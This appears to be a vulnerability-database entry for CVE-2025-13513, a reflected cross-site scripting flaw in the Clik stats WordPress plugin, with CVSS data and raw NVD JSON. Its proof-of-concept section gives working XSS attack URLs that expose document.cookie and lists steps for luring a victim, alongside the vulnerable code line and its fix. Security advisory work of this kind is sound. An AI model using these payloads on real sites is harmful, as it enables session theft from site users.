Security Vulnerability Report
中文
CVE-2025-13513 CVSS 6.1 MEDIUM

CVE-2025-13513

Published: 2025-12-04 06:15:48
Last Modified: 2026-04-15 00:35:42

Description

The Clik stats plugin for WordPress is vulnerable to Reflected Cross-Site Scripting via the `$_SERVER['PHP_SELF']` parameter in all versions up to, and including, 0.8 due to insufficient input sanitization and output escaping. This makes it possible for unauthenticated attackers to inject arbitrary web scripts in pages that execute if they can successfully trick a user into performing an action such as clicking on a link.

CVSS Details

CVSS Score
6.1
Severity
MEDIUM
CVSS Vector
CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N

Configurations (Affected Products)

No configuration data available.

Clik stats plugin <= 0.8 (所有版本)

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
<!-- CVE-2025-13513 PoC - Reflected XSS in WordPress Clik stats plugin --> <!-- Target: WordPress site with Clik stats plugin <= 0.8 --> <!-- Attack URL format: --> https://target-site/wp-admin/admin.php/"><script>alert(document.cookie)</script> <!-- More sophisticated payload for cookie stealing --> <!-- https://target-site/wp-admin/admin.php/"onmouseover=alert(document.cookie)// --> <!-- Example exploitation scenario --> <!-- 1. Attacker crafts malicious link --> <!-- 2. Lures victim to click the link (via email, social media, etc.) --> <!-- 3. Victim's browser executes injected JavaScript --> <!-- 4. Attacker steals session cookies or performs actions on behalf of victim --> <!-- Suggested vulnerable code pattern (ck_admin.php around line 47): --> <!-- $current_page = $_SERVER['PHP_SELF']; // Vulnerable - no sanitization --> <!-- echo '<form action="' . $current_page . '" method="post">'; // Reflected --> <!-- Fixed code should use: --> <!-- $current_page = esc_url($_SERVER['PHP_SELF']); // Sanitized --> <!-- echo '<form action="' . esc_attr($current_page) . '" method="post">'; // Escaped -->

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2025-13513", "sourceIdentifier": "[email protected]", "published": "2025-12-04T06:15:47.797", "lastModified": "2026-04-15T00:35:42.020", "vulnStatus": "Deferred", "cveTags": [], "descriptions": [{"lang": "en", "value": "The Clik stats plugin for WordPress is vulnerable to Reflected Cross-Site Scripting via the `$_SERVER['PHP_SELF']` parameter in all versions up to, and including, 0.8 due to insufficient input sanitization and output escaping. This makes it possible for unauthenticated attackers to inject arbitrary web scripts in pages that execute if they can successfully trick a user into performing an action such as clicking on a link."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N", "baseScore": 6.1, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "REQUIRED", "scope": "CHANGED", "confidentialityImpact": "LOW", "integrityImpact": "LOW", "availabilityImpact": "NONE"}, "exploitabilityScore": 2.8, "impactScore": 2.7}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-79"}]}], "references": [{"url": "https://plugins.trac.wordpress.org/browser/clikstats/tags/0.8/ck_admin.php#L47", "source": "[email protected]"}, {"url": "https://plugins.trac.wordpress.org/browser/clikstats/trunk/ck_admin.php#L47", "source": "[email protected]"}, {"url": "https://www.wordfence.com/threat-intel/vulnerabilities/id/8a047313-fdbc-47fa-912a-a624033bbce1?source=cve", "source": "[email protected]"}]}}